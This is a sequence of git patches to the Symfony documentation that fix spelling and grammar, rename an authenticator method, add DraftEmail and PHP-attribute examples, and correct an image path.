 .. _`PHP security advisories database`: https://github.com/FriendsOfPHP/security-advisories

From 1b71f5bc5697bba31d31167c45fb33802d4e3916 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Fri, 17 Dec 2021 15:01:27 -0400
Subject: [PATCH 1530/5766] Fix issue 16298 - duplicate link

---
 components/console.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/components/console.rst b/components/console.rst
index 6a2abe2366e..e8f3f9a7578 100644
--- a/components/console.rst
+++ b/components/console.rst
@@ -63,5 +63,4 @@ Learn more
 
     /console
     /components/console/*
-    /components/console/helpers/index
     /console/*

From 534486b8408cd3874704d11cad1ee2149f2e2317 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Sat, 18 Dec 2021 08:35:27 -0400
Subject: [PATCH 1531/5766] Correct spelling & grammar in 5.3

---
 cache.rst                         |  4 ++--
 components/browser_kit.rst        |  2 +-
 components/http_foundation.rst    |  4 ++--
 components/lock.rst               |  4 ++--
 components/messenger.rst          |  2 +-
 components/phpunit_bridge.rst     |  2 +-
 components/runtime.rst            |  2 +-
 components/semaphore.rst          |  4 ++--
 components/string.rst             |  2 +-
 components/uid.rst                |  2 +-
 components/var_dumper.rst         |  2 +-
 notifier.rst                      |  6 +++---
 rate_limiter.rst                  | 14 +++++++-------
 security/custom_authenticator.rst |  6 +++---
 security/login_link.rst           |  4 ++--
 security/passwords.rst            |  4 ++--
 security/remember_me.rst          |  4 ++--
 security/user_providers.rst       |  2 +-
 service_container/autowiring.rst  |  2 +-
 testing.rst                       |  2 +-
 validation/custom_constraint.rst  |  4 ++--
 21 files changed, 39 insertions(+), 39 deletions(-)

diff --git a/cache.rst b/cache.rst
index 70c1a863103..9c3ed9ed88e 100644
--- a/cache.rst
+++ b/cache.rst
@@ -800,5 +800,5 @@ Then, register the ``SodiumMarshaller`` service using this key:
 
 When configuring multiple keys, the first key will be used for reading and
 writing, and the additional key(s) will only be used for reading. Once all
-cache items encrypted with the old key have expired, you can remove
-``OLD_CACHE_DECRYPTION_KEY`` completely.
+cache items encrypted with the old key have expired, you can completely remove
+``OLD_CACHE_DECRYPTION_KEY``.
diff --git a/components/browser_kit.rst b/components/browser_kit.rst
index 9648afc31e4..e7c05067185 100644
--- a/components/browser_kit.rst
+++ b/components/browser_kit.rst
@@ -185,7 +185,7 @@ Custom Header Handling
 The optional HTTP headers passed to the ``request()`` method follows the FastCGI
 request format (uppercase, underscores instead of dashes and prefixed with ``HTTP_``).
 Before saving those headers to the request, they are lower-cased, with ``HTTP_``
-stripped, and underscores turned to dashes.
+stripped, and underscores converted into dashes.
 
 If you're making a request to an application that has special rules about header
 capitalization or punctuation, override the ``getHeaders()`` method, which must
diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 6154119e715..1913f59f818 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -81,7 +81,7 @@ can be accessed via several public properties:
   (``$request->headers->get('User-Agent')``).
 
 Each property is a :class:`Symfony\\Component\\HttpFoundation\\ParameterBag`
-instance (or a sub-class of), which is a data holder class:
+instance (or a subclass of), which is a data holder class:
 
 * ``request``: :class:`Symfony\\Component\\HttpFoundation\\ParameterBag` or
   :class:`Symfony\\Component\\HttpFoundation\\InputBag` if the data is
@@ -726,7 +726,7 @@ The ``JsonResponse`` class sets the ``Content-Type`` header to
 .. caution::
 
     To avoid XSSI `JSON Hijacking`_, you should pass an associative array
-    as the outer-most array to ``JsonResponse`` and not an indexed array so
+    as the outermost array to ``JsonResponse`` and not an indexed array so
     that the final result is an object (e.g. ``{"object": "not inside an array"}``)
     instead of an array (e.g. ``[{"object": "inside an array"}]``). Read
     the `OWASP guidelines`_ for more information.
diff --git a/components/lock.rst b/components/lock.rst
index c10f86d1f3d..8f81b7cce59 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -210,7 +210,7 @@ as seconds) and ``isExpired()`` (which returns a boolean).
 Automatically Releasing The Lock
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Locks are automatically released when their Lock objects are destructed. This is
+Locks are automatically released when their Lock objects are destroyed. This is
 an implementation detail that will be important when sharing Locks between
 processes. In the example below, ``pcntl_fork()`` creates two processes and the
 Lock will be released automatically as soon as one process finishes::
@@ -508,7 +508,7 @@ locks::
     $store = new PostgreSqlStore($databaseConnectionOrDSN);
 
 In opposite to the ``PdoStore``, the ``PostgreSqlStore`` does not need a table to
-store locks and does not expire.
+store locks and it does not expire.
 
 .. versionadded:: 5.2
 
diff --git a/components/messenger.rst b/components/messenger.rst
index 7e1af990db1..2e853f69ab6 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -77,7 +77,7 @@ middleware stack. The component comes with a set of middleware that you can use.
 When using the message bus with Symfony's FrameworkBundle, the following middleware
 are configured for you:
 
-#. :class:`Symfony\\Component\\Messenger\\Middleware\\SendMessageMiddleware` (enables asynchronous processing, logs the processing of your messages if you pass a logger)
+#. :class:`Symfony\\Component\\Messenger\\Middleware\\SendMessageMiddleware` (enables asynchronous processing, logs the processing of your messages if you provide a logger)
 #. :class:`Symfony\\Component\\Messenger\\Middleware\\HandleMessageMiddleware` (calls the registered handler(s))
 
 Example::
diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 7658acba17f..714157d1531 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -295,7 +295,7 @@ Baseline Deprecations
 If your application has some deprecations that you can't fix for some reasons,
 you can tell Symfony to ignore them. The trick is to create a file with the
 allowed deprecations and define it as the "deprecation baseline". Deprecations
-inside that file are ignore but the rest of deprecations are still reported.
+inside that file are ignored but the rest of deprecations are still reported.
 
 First, generate the file with the allowed deprecations (run the same command
 whenever you want to update the existing file):
diff --git a/components/runtime.rst b/components/runtime.rst
index e716ec6eb38..f9d76bff0c5 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -383,7 +383,7 @@ application outside of the global state in 6 steps:
    that knows how to "run" the application object.
 #. The ``RunnerInterface::run(object $application)`` is called and it returns the
    exit status code as `int`.
-#. The PHP engine is exited with this status code.
+#. The PHP engine is terminated with this status code.
 
 When creating a new runtime, there are two things to consider: First, what arguments
 will the end user use? Second, what will the user's application look like?
diff --git a/components/semaphore.rst b/components/semaphore.rst
index ebae3df89e8..810d12f76d2 100644
--- a/components/semaphore.rst
+++ b/components/semaphore.rst
@@ -45,7 +45,7 @@ class, which in turn requires another class to manage the storage::
 The semaphore is created by calling the
 :method:`Symfony\\Component\\Semaphore\\SemaphoreFactory::createSemaphore`
 method. Its first argument is an arbitrary string that represents the locked
-resource. Its second argument is the maximum number of process allowed. Then, a
+resource. Its second argument is the maximum number of processes allowed. Then, a
 call to the :method:`Symfony\\Component\\Semaphore\\SemaphoreInterface::acquire`
 method will try to acquire the semaphore::
 
@@ -54,7 +54,7 @@ method will try to acquire the semaphore::
 
     if ($semaphore->acquire()) {
         // The resource "pdf-invoice-generation" is locked.
-        // You can compute and generate invoice safely here.
+        // Here you can safely compute and generate the invoice.
 
         $semaphore->release();
     }
diff --git a/components/string.rst b/components/string.rst
index 48f17f0b3e9..f754bfdb7ea 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -36,7 +36,7 @@ However, other languages require thousands of symbols to display their contents.
 They need complex encoding standards such as `Unicode`_ and concepts like
 "character" no longer make sense. Instead, you have to deal with these terms:
 
-* `Code points`_: they are the atomic unit of information. A string is a series
+* `Code points`_: they are the atomic units of information. A string is a series
   of code points. Each code point is a number whose meaning is given by the
   `Unicode`_ standard. For example, the English letter ``A`` is the ``U+0041``
   code point and the Japanese *kana* ``の`` is the ``U+306E`` code point.
diff --git a/components/uid.rst b/components/uid.rst
index d6b3692be45..c0fdb8822e3 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -331,7 +331,7 @@ type, which converts to/from ULID objects automatically::
         // ...
     }
 
-There's also a Doctrine generator to help autogenerate ULID values for the
+There's also a Doctrine generator to help auto-generate ULID values for the
 entity primary keys::
 
     use Symfony\Bridge\Doctrine\IdGenerator\UlidGenerator;
diff --git a/components/var_dumper.rst b/components/var_dumper.rst
index b661bd7a44a..fc64d5607b7 100644
--- a/components/var_dumper.rst
+++ b/components/var_dumper.rst
@@ -258,7 +258,7 @@ option. Read more about this and other options in
     finished, press ``Esc.`` to hide the box again.
 
     If you want to use your browser search input, press ``Ctrl. + F`` or
-    ``Cmd. + F`` again while having focus on VarDumper's search input.
+    ``Cmd. + F`` again while focusing on VarDumper's search input.
 
 Using the VarDumper Component in your PHPUnit Test Suite
 --------------------------------------------------------
diff --git a/notifier.rst b/notifier.rst
index 0280a04f8ad..7d12e04386f 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -39,7 +39,7 @@ The notifier component supports the following channels:
 
 .. tip::
 
-    Use :doc:`secrets </configuration/secrets>` to securily store your
+    Use :doc:`secrets </configuration/secrets>` to securely store your
     API's tokens.
 
 .. _notifier-sms-channel:
@@ -422,10 +422,10 @@ Symfony provides the following recipients:
 :class:`Symfony\\Component\\Notifier\\Recipient\\NoRecipient`
     This is the default and is useful when there is no need to have
     information about the receiver. For example, the browser channel uses
-    the current requests's :ref:`session flashbag <flash-messages>`;
+    the current requests' :ref:`session flashbag <flash-messages>`;
 
 :class:`Symfony\\Component\\Notifier\\Recipient\\Recipient`
-    This can contain both email address and phonenumber of the user. This
+    This can contain both the email address and the phone number of the user. This
     recipient can be used for all channels (depending on whether they are
     actually set).
 
diff --git a/rate_limiter.rst b/rate_limiter.rst
index 4f2d20b2b18..676d16f0a99 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -50,7 +50,7 @@ squares).
 
 Its main drawback is that resource usage is not evenly distributed in time and
 it can overload the server at the window edges. In the previous example,
-there are 6 accepted requests between 11:00 and 12:00.
+there were 6 accepted requests between 11:00 and 12:00.
 
 This is more significant with bigger limits. For instance, with 5,000 requests
 per hour, a user could make the 4,999 requests in the last minute of some
@@ -80,15 +80,15 @@ the previous hour and 500 requests this hour. 15 minutes in to the current hour
 (25% of the window) the hit count would be calculated as: 75% * 4,000 + 500 = 3,500.
 At this point in time the user can only do 1,500 more requests.
 
-The math shows that the closer the last window is, the more will the hit count
-of the last window effect the current limit. This will make sure that a user can
-do 5,000 requests per hour but only if they are spread out evenly.
+The math shows that the closer the last window is, the more the hit count
+of the last window will affect the current limit. This will make sure that a user can
+do 5,000 requests per hour but only if they are evenly spread out.
 
 Token Bucket Rate Limiter
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
-This technique implements the `token bucket algorithm`_, which defines a
-continuously updating budget of resource usage. It roughly works like this:
+This technique implements the `token bucket algorithm`_, which defines
+continuously updating the budget of resource usage. It roughly works like this:
 
 * A bucket is created with an initial set of tokens;
 * A new token is added to the bucket with a predefined frequency (e.g. every second);
@@ -103,7 +103,7 @@ of 1 token per 15 minutes:
 
     <object data="_images/rate_limiter/token_bucket.svg" type="image/svg+xml"></object>
 
-This algorithm handles more complex back-off algorithm to manage bursts.
+This algorithm handles more complex back-off burst management.
 For instance, it can allow a user to try a password 5 times and then only
 allow 1 every 15 minutes (unless the user waits 75 minutes and they will be
 allowed 5 tries again).
diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 03f5820cec3..cd18e7bbd81 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -4,7 +4,7 @@ How to Write a Custom Authenticator
 Symfony comes with :ref:`many authenticators <security-authenticators>` and
 third party bundles also implement more complex cases like JWT and oAuth
 2.0. However, sometimes you need to implement a custom authentication
-mechanism that doesn't exists yet or you need to customize one. In such
+mechanism that doesn't exist yet or you need to customize one. In such
 cases, you must create and use your own authenticator.
 
 Authenticators should implement the
@@ -133,7 +133,7 @@ The authenticator can be enabled using the ``custom_authenticators`` setting:
 .. versionadded:: 5.2
 
     Starting with Symfony 5.2, the custom authenticator is automatically
-    registered as entry point if it implements ``AuthenticationEntryPointInterface``.
+    registered as an entry point if it implements ``AuthenticationEntryPointInterface``.
 
     Prior to 5.2, you had to configure the entry point separately using the
     ``entry_point`` option. Read :doc:`/security/entry_point` for more
@@ -171,7 +171,7 @@ can define what happens in these cases:
 
     **Caution**: Never use ``$exception->getMessage()`` for ``AuthenticationException``
     instances. This message might contain sensitive information that you
-    don't want to expose publicly. Instead, use ``$exception->getMessageKey()``
+    don't want to be publicly exposed. Instead, use ``$exception->getMessageKey()``
     and ``$exception->getMessageData()`` like shown in the full example
     above. Use :class:`Symfony\\Component\\Security\\Core\\Exception\\CustomUserMessageAuthenticationException`
     if you want to set custom error messages.
diff --git a/security/login_link.rst b/security/login_link.rst
index 86406f9b316..045c9a7963f 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -219,7 +219,7 @@ this interface::
     </form>
     {% endblock %}
 
-In this controller, the user is submitting their e-mail address to the
+In this controller, the user is submitting their email address to the
 controller. Based on this property, the correct user is loaded and a login
 link is created using
 :method:`Symfony\\Component\\Security\\Http\\LoginLink\\LoginLinkHandlerInterface::createLoginLink`.
@@ -235,7 +235,7 @@ link is created using
 3) Send the Login Link to the User
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Now the link is created, it needs to be send to the user. Anyone with the
+Now the link is created, it needs to be sent to the user. Anyone with the
 link is able to login as this user, so you need to make sure to send it to
 a known device of them (e.g. using e-mail or SMS).
 
diff --git a/security/passwords.rst b/security/passwords.rst
index 521be799277..7f1f5b605b8 100644
--- a/security/passwords.rst
+++ b/security/passwords.rst
@@ -448,7 +448,7 @@ password should be stored:
 * :ref:`When using Doctrine's entity user provider <upgrade-the-password-doctrine>`
 * :ref:`When using a custom user provider <upgrade-the-password-custom-provider>`
 
-After this, you're done and passwords are always hashed as secure as possible!
+After this, you're done and passwords are always hashed as securely as possible!
 
 .. note::
 
@@ -755,7 +755,7 @@ The Sodium Password Hasher
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 It uses the `Argon2 key derivation function`_. Argon2 support was introduced
-in PHP 7.2 by bundeling the `libsodium`_ extension.
+in PHP 7.2 by bundling the `libsodium`_ extension.
 
 The hashed passwords are ``96`` characters long, but due to the hashing
 requirements saved in the resulting hash this may change in the future, so make
diff --git a/security/remember_me.rst b/security/remember_me.rst
index b14b012202f..f9fd2e62dab 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -135,7 +135,7 @@ The ``remember_me`` firewall defines the following configuration options:
 
 ``service`` (default value: ``null``)
     Defines the ID of the service used to handle the Remember Me feature. It's
-    useful if you need to overwrite the current behavior entirely.
+    useful if you need to overwrite the current behavior.
 
     .. versionadded:: 5.1
 
@@ -204,7 +204,7 @@ users to change their password. You can do this by leveraging a few special
 
 .. tip::
 
-    There is also a ``IS_REMEMBERED`` attribute that grants *only* when the
+    There is also a ``IS_REMEMBERED`` attribute that grants access *only* when the
     user is authenticated via the remember me mechanism.
 
 .. versionadded:: 5.1
diff --git a/security/user_providers.rst b/security/user_providers.rst
index 5d3be052121..07212acbf0b 100644
--- a/security/user_providers.rst
+++ b/security/user_providers.rst
@@ -104,7 +104,7 @@ Using a Custom Query to Load the User
 The entity provider can only query from one *specific* field, specified by
 the ``property`` config key. If you want a bit more control over this - e.g. you
 want to find a user by ``email`` *or* ``username``, you can do that by
-implenting :class:`Symfony\\Bridge\\Doctrine\\Security\\User\\UserLoaderInterface`
+implementing :class:`Symfony\\Bridge\\Doctrine\\Security\\User\\UserLoaderInterface`
 in your :ref:`Doctrine repository <doctrine-queries>` (e.g. ``UserRepository``)::
 
     // src/Repository/UserRepository.php
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index a7407f51b1d..aa5d25ad83b 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -611,7 +611,7 @@ you can use the ``@required`` annotation instead.
 
     The ``#[Required]`` attribute was introduced in Symfony 5.2.
 
-Despite property injection has some :ref:`drawbacks <property-injection>`,
+Despite property injection having some :ref:`drawbacks <property-injection>`,
 autowiring with ``#[Required]`` or ``@required`` can also be applied to public
 typed properties:
 
diff --git a/testing.rst b/testing.rst
index 5390b7aefd8..4147ab361a0 100644
--- a/testing.rst
+++ b/testing.rst
@@ -583,7 +583,7 @@ Logging in Users (Authentication)
 
 When you want to add application tests for protected pages, you have to
 first "login" as a user. Reproducing the actual steps - such as
-submitting a login form - make a test very slow. For this reason, Symfony
+submitting a login form - makes a test very slow. For this reason, Symfony
 provides a ``loginUser()`` method to simulate logging in in your functional
 tests.
 
diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index f462c773e74..41753fc02c0 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -232,8 +232,8 @@ with the necessary ``validator.constraint_validator``. This means you can
 Create a Reusable Set of Constraints
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-In case you need to apply some common set of constraints in different places
-consistently across your application, you can extend the :doc:`Compound constraint </reference/constraints/Compound>`.
+In case you need to consistently apply a common set of constraints
+across your application, you can extend the :doc:`Compound constraint </reference/constraints/Compound>`.
 
 .. versionadded:: 5.1
 

From 11481a2bc15fad0b2f316c95a09659e30c769f8a Mon Sep 17 00:00:00 2001
From: Ippei Sumida <ippey.s@gmail.com>
Date: Sat, 18 Dec 2021 08:29:00 +0900
Subject: [PATCH 1532/5766] Change "createAuthenticatedToken" to "createToken"

---
 security/custom_authenticator.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index e936ba27493..0ca4913b247 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -11,7 +11,7 @@ Authenticators should implement the
 :class:`Symfony\\Component\\Security\\Http\\Authenticator\\AuthenticatorInterface`.
 You can also extend
 :class:`Symfony\\Component\\Security\\Http\\Authenticator\\AbstractAuthenticator`,
-which has a default implementation for the ``createAuthenticatedToken()``
+which has a default implementation for the ``createToken()``
 method that fits most use-cases::
 
     // src/Security/ApiKeyAuthenticator.php
@@ -347,7 +347,7 @@ would initialize the passport like this::
     Besides badges, passports can define attributes, which allows the
     ``authenticate()`` method to store arbitrary information in the
     passport to access it from other authenticator methods (e.g.
-    ``createAuthenticatedToken()``)::
+    ``createToken()``)::
 
         // ...
         use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge;

From 2778bc3c86d186dd5d229b7fd4ec4748e9fa920e Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Mon, 20 Dec 2021 07:58:13 -0400
Subject: [PATCH 1533/5766] Fix minor spelling and grammar issues in 5.4

---
 components/security/authorization.rst | 10 +++++-----
 console/style.rst                     |  2 +-
 mailer.rst                            |  2 +-
 messenger.rst                         |  6 +++---
 serializer.rst                        |  4 ++--
 testing.rst                           |  4 ++--
 6 files changed, 14 insertions(+), 14 deletions(-)

diff --git a/components/security/authorization.rst b/components/security/authorization.rst
index 3effc3d0794..5444b5254c2 100644
--- a/components/security/authorization.rst
+++ b/components/security/authorization.rst
@@ -67,15 +67,15 @@ Strategies
 The following strategies are bundled with the component:
 
 ``AffirmativeStrategy`` (default)
-    grant access as soon as there is one voter granting access;
+    grants access as soon as there is one voter granting access;
 
 ``ConsensusStrategy``
-    grant access if there are more voters granting access than there are denying;
+    grants access if there are more voters granting access than there are denying;
     if there is a draw between votes, the decision is made based on the
     ``$allowIfEqualGrantedDeniedDecisions`` constructor parameter which defaults to ``true``.
 
 ``UnanimousStrategy``
-    only grant access if none of the voters has denied access.
+    only grants access if none of the voters has denied access.
 
 ``PriorityStrategy``
     grants or denies access by the first voter that does not abstain;
@@ -85,10 +85,10 @@ The following strategies are bundled with the component:
         The "priority" version strategy was introduced in Symfony 5.1.
 
 If all voters abstained from voting, the decision is based on the ``$allowIfAllAbstainDecisions``
-constructor parameter which is supported by all of the built-in strategies and defaults to ``false``.
+constructor parameter which is supported by all the built-in strategies and defaults to ``false``.
 
 If none of the built-in strategies seem to fit, a custom strategy may be provided. The strategy will
-receive a stream of votes and may return as soon as it has seen enough votes to come to a conclusion.
+receive a stream of votes and may return as soon as it has seen enough votes to reach a conclusion.
 
 ::
 
diff --git a/console/style.rst b/console/style.rst
index 33f1ff59cc5..4a10639aee6 100644
--- a/console/style.rst
+++ b/console/style.rst
@@ -168,7 +168,7 @@ Content Methods
 :method:`Symfony\\Component\\Console\\Style\\SymfonyStyle::createTable`
     Creates an instance of :class:`Symfony\\Component\\Console\\Helper\\Table`
     styled according to the Symfony Style Guide, which allows you to use
-    features such as appending rows dynamically.
+    features such as dynamically appending rows.
 
 .. versionadded:: 5.4
 
diff --git a/mailer.rst b/mailer.rst
index 66a64159c22..dc7c3249669 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -189,7 +189,7 @@ OhMySMTP             ohmysmtp+smtp://API_TOKEN@default                    n/a
 
 .. caution::
 
-    If you want to use ``ses+smtp`` transport together with :doc:`Messenger </messenger>`
+    If you want to use the ``ses+smtp`` transport together with :doc:`Messenger </messenger>`
     to :ref:`send messages in background <mailer-sending-messages-async>`,
     you need to add the ``ping_threshold`` parameter to your ``MAILER_DSN`` with
     a value lower than ``10``: ``ses+smtp://USERNAME:PASSWORD@default?ping_threshold=9``
diff --git a/messenger.rst b/messenger.rst
index e2565fab518..5761deac446 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -706,9 +706,9 @@ PHP is designed to be stateless, there are no shared resources across different
 requests. In HTTP context PHP cleans everything after sending the response, so
 you can decide to not take care of services that may leak memory.
 
-On the other hand, workers usually run in long-running CLI processes, which don't
-finish after processing a message. That's why you need to be careful about services
-state to not leak information and/or memory from one message to another message.
+On the other hand, workers usually sequentially process messages in long-running CLI processes, which don't
+finish after processing a single message. That's why you must be careful about service
+states to prevent information and/or memory leakage.
 
 However, certain Symfony services, such as the Monolog
 :ref:`fingers crossed handler <logging-handler-fingers_crossed>`, leak by design.
diff --git a/serializer.rst b/serializer.rst
index 92250d2f5a9..1d47e7a2de2 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -151,7 +151,7 @@ properties and setters (``setXxx()``) to change properties:
 Serializer Context
 ------------------
 
-The serializer can define a context to control how the (de)serialization of
+The serializer can define a context to control the (de)serialization of
 resources. This context is passed to all normalizers. For example:
 
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer` uses
@@ -165,7 +165,7 @@ resources. This context is passed to all normalizers. For example:
     The usage of the ``empty_array_as_object`` option by default in the
     Serializer was introduced in Symfony 5.4.
 
-You can pass the context like following::
+You can pass the context as follows::
 
     $serializer->serialize($something, 'json', [
         DateTimeNormalizer::FORMAT_KEY => 'Y-m-d H:i:s',
diff --git a/testing.rst b/testing.rst
index 5ff21c1fb95..91a8bd3fa25 100644
--- a/testing.rst
+++ b/testing.rst
@@ -929,8 +929,8 @@ Browser Assertions
     Asserts the given cookie in the test Client is set to the expected
     value.
 ``assertThatForClient(Constraint $constraint, string $message = '')``
-    Asserts the given Constraint in the Client. Useful to use your custom asserts
-    in the same way of built-in asserts (i.e. without passing the Client as argument)::
+    Asserts the given Constraint in the Client. Useful for using your custom asserts
+    in the same way as built-in asserts (i.e. without passing the Client as argument)::
 
         // add this method in some custom class imported in your tests
         protected static function assertMyOwnCustomAssert(): void

From bb3eb5b58e38448f9c6a199bb70ac72d3163830d Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Wed, 22 Dec 2021 08:53:24 -0500
Subject: [PATCH 1534/5766] [Mime][Mailer] add DraftEmail documentation

---
 mailer.rst | 51 +++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 51 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index a258bc0f141..f650bf01340 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1266,6 +1266,57 @@ The following transports only support tags:
 
 * OhMySMTP
 
+Draft Emails
+------------
+
+.. versionadded:: 6.1
+
+    ``Symfony\Component\Mime\DraftEmail`` was introduced in 6.1.
+
+:class:`Symfony\\Component\\Mime\\DraftEmail` is a special instance of
+:class:`Symfony\\Component\\Mime\\Email`. Its purpose is to build up an email
+(with body, attachments, etc) and make available to download as an ``.eml`` with
+the ``X-Unsent`` header. Many email clients can open these files and interpret
+them as *draft emails*. You can use these to create advanced ``mailto:`` links.
+
+Here's an example of making one available to download::
+
+    // src/Controller/DownloadEmailController.php
+    namespace App\Controller;
+
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\HttpFoundation\ResponseHeaderBag;
+    use Symfony\Component\Mime\DraftEmail;
+    use Symfony\Component\Routing\Annotation\Route;
+
+    class DownloadEmailController extends AbstractController
+    {
+        #[Route('/download-email')]
+        public function __invoke(): Response
+        {
+            $message = (new DraftEmail())
+                ->html($this->renderView(/* ... */))
+                ->attach(/* ... */)
+            ;
+
+            $response = new Response($message->toString());
+            $contentDisposition = $response->headers->makeDisposition(
+                ResponseHeaderBag::DISPOSITION_ATTACHMENT,
+                'download.eml'
+            );
+            $response->headers->set('Content-Type', 'message/rfc822');
+            $response->headers->set('Content-Disposition', $contentDisposition);
+
+            return $response;
+        }
+    }
+
+.. note::
+
+    As it's possible for :class:`Symfony\\Component\\Mime\\DraftEmail`'s to be created
+    without a To/From they cannot be sent with the mailer.
+
 Development & Debugging
 -----------------------
 

From 45cc1cf2ebbd31b781fbd25f41873377f1b6464b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 22 Dec 2021 09:56:40 +0100
Subject: [PATCH 1535/5766] [Testing] Minor tweaks in the main testing article

---
 testing.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/testing.rst b/testing.rst
index 4147ab361a0..884e0943b8c 100644
--- a/testing.rst
+++ b/testing.rst
@@ -222,7 +222,7 @@ If you need to customize some environment variables for your tests (e.g. the
 ``DATABASE_URL`` used by Doctrine), you can do that by overriding anything you
 need in your ``.env.test`` file:
 
-.. code-block:: text
+.. code-block:: env
 
     # .env.test
 
@@ -268,7 +268,7 @@ the container is stored in ``static::getContainer()``::
             $newsletterGenerator = $container->get(NewsletterGenerator::class);
             $newsletter = $newsletterGenerator->generateMonthlyNews(...);
 
-            $this->assertEquals(..., $newsletter->getContent());
+            $this->assertEquals('...', $newsletter->getContent());
         }
     }
 

From fc546909b5fd02b2ffb5c43f370de728cacb7e9b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 21 Dec 2021 17:41:22 +0100
Subject: [PATCH 1536/5766] [Security] Add PHP attributes to a PHP annotations
 example

---
 security.rst | 67 ++++++++++++++++++++++++++++++++++++----------------
 1 file changed, 46 insertions(+), 21 deletions(-)

diff --git a/security.rst b/security.rst
index 3412b678322..39965fd1530 100644
--- a/security.rst
+++ b/security.rst
@@ -2199,30 +2199,55 @@ will happen:
 Thanks to the SensioFrameworkExtraBundle, you can also secure your controller
 using annotations:
 
-.. code-block:: diff
+.. configuration-block::
 
-      // src/Controller/AdminController.php
-      // ...
+    .. code-block:: php-annotations
 
-    + use Sensio\Bundle\FrameworkExtraBundle\Configuration\IsGranted;
+        // src/Controller/AdminController.php
+        // ...
 
-    + /**
-    +  * Require ROLE_ADMIN for *every* controller method in this class.
-    +  *
-    +  * @IsGranted("ROLE_ADMIN")
-    +  */
-      class AdminController extends AbstractController
-      {
-    +     /**
-    +      * Require ROLE_ADMIN for only this controller method.
-    +      *
-    +      * @IsGranted("ROLE_ADMIN")
-    +      */
-          public function adminDashboard(): Response
-          {
-              // ...
-          }
-      }
+        use Sensio\Bundle\FrameworkExtraBundle\Configuration\IsGranted;
+
+        /**
+         * Require ROLE_ADMIN for all the actions of this controller
+         *
+         * @IsGranted("ROLE_ADMIN")
+         */
+        class AdminController extends AbstractController
+        {
+            /**
+             * Require ROLE_SUPER_ADMIN only for this action
+             *
+             * @IsGranted("ROLE_SUPER_ADMIN")
+             */
+            public function adminDashboard(): Response
+            {
+                // ...
+            }
+        }
+
+    .. code-block:: php-attributes
+
+        // src/Controller/AdminController.php
+        // ...
+
+        use Sensio\Bundle\FrameworkExtraBundle\Configuration\IsGranted;
+
+        /**
+         * Require ROLE_ADMIN for all the actions of this controller
+         */
+        #[IsGranted('ROLE_ADMIN')]
+        class AdminController extends AbstractController
+        {
+            /**
+             * Require ROLE_SUPER_ADMIN only for this action
+             */
+            #[IsGranted('ROLE_SUPER_ADMIN')]
+            public function adminDashboard(): Response
+            {
+                // ...
+            }
+        }
 
 For more information, see the `FrameworkExtraBundle documentation`_.
 

From 085c6535e7b113a1b4beb3f0e67aee14f7aea178 Mon Sep 17 00:00:00 2001
From: Bruno Baguette <bruno.baguette@gmail.com>
Date: Wed, 22 Dec 2021 20:14:39 +0100
Subject: [PATCH 1537/5766] Fix wrong path (aka 404 error) for
 security_events.svg diagram
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

"../" ➤ "./"
---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 39965fd1530..16442d23b58 100644
--- a/security.rst
+++ b/security.rst
@@ -2589,7 +2589,7 @@ Authentication Events
 
 .. raw:: html
 
-    <object data="../_images/security/security_events.svg" type="image/svg+xml"></object>
+    <object data="./_images/security/security_events.svg" type="image/svg+xml"></object>
 
 :class:`Symfony\\Component\\Security\\Http\\Event\\CheckPassportEvent`
     Dispatched after the authenticator created the :ref:`security passport <security-passport>`.

